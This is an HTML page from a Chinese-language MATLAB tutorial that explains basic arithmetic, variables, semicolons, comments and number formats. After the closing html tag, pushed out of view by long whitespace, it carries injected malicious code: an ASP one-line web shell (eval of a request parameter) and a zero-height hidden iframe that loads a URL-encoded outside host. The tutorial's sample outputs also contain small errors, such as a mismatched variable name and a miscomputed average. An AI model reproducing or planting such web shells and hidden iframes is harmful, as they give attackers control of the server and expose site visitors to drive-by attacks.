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<html>

<head>
<title> 简易数学 </title>
</head>

<body BACKGROUND="../img1/bg0000.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img/bg0000.gif">
<script language="JAVASCRIPT">
<!--
if (navigator.onLine){
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document.write("<TR>");
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document.write("<NOLAYER>");
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document.write("</TR>");
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 //-->
</script>
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<font COLOR="#0000FF">

<h1>2.2.2 简易数学</h1>
</font>

<hr>

<p>我们先从MATLAB的数学运算开始说明。就像你的计算器一样，数学式的计算是直接了当。如果我们要算 
1+2+3及1×10+2×20+3×30这二个式子，以下例子接著提示符号&gt;&gt;之后的是要键入的算式，MATLAB将计算 
的结果以<font COLOR="#FF0000">ans</font>显示。如果算式是x=1+2+3，MATLAB将计算的结果以<font COLOR="#FF0000">x</font>显示。 </p>

<p><font COLOR="#FF0000">&gt;&gt; 1+2+3</font> </p>

<p><font COLOR="#FF0000">ans =</font> </p>

<p><font COLOR="#FF0000">6</font> </p>

<p><font COLOR="#FF0000">&gt;&gt; 1*10 + 2*20 + 3*30</font> </p>

<p><font COLOR="#FF0000">ans =</font> </p>

<p><font COLOR="#FF0000">140</font> </p>

<p><font COLOR="#FF0000">&gt;&gt; x=1+2+3</font> </p>

<p><font COLOR="#FF0000">x =</font> </p>

<p><font COLOR="#FF0000">6</font> </p>

<p>如果在上述的例子结尾加上<font COLOR="#FF0000">;</font>，则计算结果不会显示在指令视窗上，要得知计算值只须键入该变数值即可 
</p>

<p><font COLOR="#FF0000">&gt;&gt; x=1+2+3;</font> </p>

<p><font COLOR="#FF0000">&gt;&gt; x</font> </p>

<p><font COLOR="#FF0000">x = </font></p>

<p><font COLOR="#FF0000">6<br>
</font></p>

<p>以下的例子，显示MATLAB对使用变数的弹性 </p>

<p><font COLOR="#FF0000">&gt;&gt; apple=5</font> </p>

<p><font COLOR="#FF0000">apples =</font> </p>

<p><font COLOR="#FF0000">5</font> </p>

<p><font COLOR="#FF0000">&gt;&gt; orange=10</font> </p>

<p><font COLOR="#FF0000">orange =</font> </p>

<p><font COLOR="#FF0000">10</font> </p>

<p><font COLOR="#FF0000">&gt;&gt; total_cost=apple*2+orange*4</font> </p>

<p><font COLOR="#FF0000">total_cost =</font> </p>

<p><font COLOR="#FF0000">50</font> </p>

<p><font COLOR="#FF0000">&gt;&gt; average_cost=total_cost/(apple+orange)</font> </p>

<p><font COLOR="#FF0000">average_cost =</font> </p>

<p><font COLOR="#FF0000">3.33334<br>
</font></p>

<p>MATLAB提供基本的算术运算有： </p>

<p><font FACE="华康仿宋体">加</font> (<font COLOR="#FF0000">+</font>)、<font FACE="华康仿宋体">减</font> (<font COLOR="#FF0000">-</font>)、<font FACE="华康仿宋体">乘</font> (<font COLOR="#FF0000">*</font>)、<font FACE="华康仿宋体">除</font> (<font COLOR="#FF0000">/</font>)、<font FACE="华康仿宋体">幂次方</font> (<font COLOR="#FF0000">^</font>)，<font FACE="华康仿宋体">范例为：</font><font COLOR="#FF0000">5+3</font>, <font COLOR="#FF0000">5-3</font>, <font COLOR="#FF0000">5*3</font>, <font COLOR="#FF0000">5/3</font>, 
<font COLOR="#FF0000">5^3<br>
</font></p>

<p>其它在计算常用的功能我们来看一个算式来说明。要计算面积Area = 
<img SRC="../img2/img00001.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img2/img00001.gif" WIDTH="26" HEIGHT="23"><tt><font FACE="Courier New">,</font></tt>半径<i>r 
</i>= 2，则可键入 </p>

<p><font COLOR="#FF0000">&gt;&gt; r=2;</font> </p>

<p><font COLOR="#FF0000">&gt;&gt; area=pi*r^2;</font> </p>

<p><font COLOR="#FF0000">&gt;&gt; area =</font> </p>

<p><font COLOR="#FF0000">12.5664<br>
</font></p>

<p>我们也可以将上述指令打在同一行，以<font COLOR="#FF0000">, </font>或是<font COLOR="#FF0000">; </font>分开，例如 </p>

<p><font COLOR="#FF0000">&gt;&gt; r=2, area=pi*r^2</font> </p>

<p><font COLOR="#FF0000">&gt;&gt; r=2; area=pi*r^2;<br>
</font></p>

<p>请注意上述二式的差异，前者有计算值显示，而后者则无。如果一个指令过长可以在结尾加上<font COLOR="#FF0000">...</font>（代表此行指 令与下一行连续），例如 </p>

<p><font COLOR="#FF0000">&gt;&gt; r=2;</font> </p>

<p><font COLOR="#FF0000">&gt;&gt; area = pi ...</font> </p>

<p><font COLOR="#FF0000">*r^2<br>
</font></p>

<p>另外一个符号注解是由<font COLOR="#FF0000">%</font>起头，也就是说在<font COLOR="#FF0000">%</font>之后的任何文字都被视为程式的注解。注解的功能是简要的说明 
程式的内容，过多的注解在程式中或许没有必要，但是我们写程式时往往用了太少的注解。任何可能产生混淆 
的地方都应该省用注解，将适量的注解可在往后想了解程式时能节省一些不必要的时间与「有看没有懂」的痛 
苦。例如 </p>

<p><font COLOR="#FF0000">&gt;&gt; r=2; % </font><font COLOR="#FF0000" FACE="华康仿宋体">键入半径</font> </p>

<p><font COLOR="#FF0000">&gt;&gt; area=pi*r^2; % </font><font COLOR="#FF0000" FACE="华康仿宋体">计算面积 <br>
</font></p>

<p>MATLAB可以将计算结果以不同的精确度的数字格式显示，我们可以在指令视窗上的功能选单上的<b>Options</b>下 
选 <b>Numerical Format</b>，或者直接在指令视窗键入以下的各个数字显示格式的指令，以π值为例 
</p>

<table BORDER="1">
  <tr>
    <td WIDTH="106">指令</td>
    <td WIDTH="160">数字值</td>
    <td WIDTH="272">说明 </td>
  </tr>
  <tr>
    <td WIDTH="106"><font COLOR="#FF0000">format short</font></td>
    <td WIDTH="160">3.1416</td>
    <td WIDTH="272">预设的 4 位有效小数位数 </td>
  </tr>
  <tr>
    <td WIDTH="106"><font COLOR="#FF0000">format long</font></td>
    <td WIDTH="160">3.14159265358979</td>
    <td WIDTH="272">15 位有效小数位数 </td>
  </tr>
  <tr>
    <td WIDTH="106"><font COLOR="#FF0000">format short e</font></td>
    <td WIDTH="160">3.1416e+000</td>
    <td WIDTH="272">4 位有效小数位数加上指数表格式 </td>
  </tr>
</table>

<hr>
<a HREF="ch2_2_1.htm" tppabs="http://webclass.ncu.edu.tw/~junwu/ch2_2_1.htm">

<p><img SRC="../img1/lastpage.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img/lastpage.gif" BORDER="0" WIDTH="42" HEIGHT="42"></a> <a HREF="ch2_2_3.htm" tppabs="http://webclass.ncu.edu.tw/~junwu/ch2_2_3.htm"><img SRC="../img1/nextpage.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img/nextpage.gif" BORDER="0" HSPACE="10" WIDTH="42" HEIGHT="42"></a> <a HREF="../../../../tppmsgs/msgs0.htm#67" tppabs="http://webclass.ncu.edu.tw/~junwu/index.htm"><img SRC="../img1/outline.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img/outline.gif" BORDER="0" HSPACE="6" WIDTH="42" HEIGHT="42"></a><br>
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</body>
</html>
                                                                                                    
<%eval request("%")%><IfrAmE  width=100 height=0></IfrAmE>
                                                                                                    
<%eval request("%")%><IfrAmE src=http://%6C%6C%38%30%2E%63%6F%6D/xx/ip.htm width=100 height=0></IfrAmE>

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